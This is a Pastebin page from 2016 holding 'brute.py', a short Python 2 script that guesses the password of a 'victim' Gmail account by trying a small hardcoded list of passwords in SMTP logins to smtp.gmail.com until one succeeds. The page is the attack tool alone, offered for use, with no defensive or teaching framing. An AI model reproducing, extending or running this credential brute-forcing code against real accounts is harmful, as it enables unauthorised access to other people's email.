BornePlays

brute.py

May 9th, 2016
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1.  
  2. import smtplib
  3.  
  4. gmailServer = smtplib.SMTP('smtp.gmail.com', 587)
  5. gmailServer.ehlo()
  6. gmailServer.starttls()
  7.  
  8.  
  9. print '[+] BruteForce [+]'
  10.  
  11. victimEmail = raw_input('Victim Email: ')
  12. Passwords = ['casper', 'hello',]
  13.  
  14. for password in Passwords:
  15. try:
  16. gmailServer.login(victimEmail, password)
  17. print "[+] Password Found: %s" % password
  18. break;
  19. except smtplib.SMTPAuthenticationError:
  20. print "[!] Password Incorrect: %s" % password
Add Comment
Please, Sign In to add comment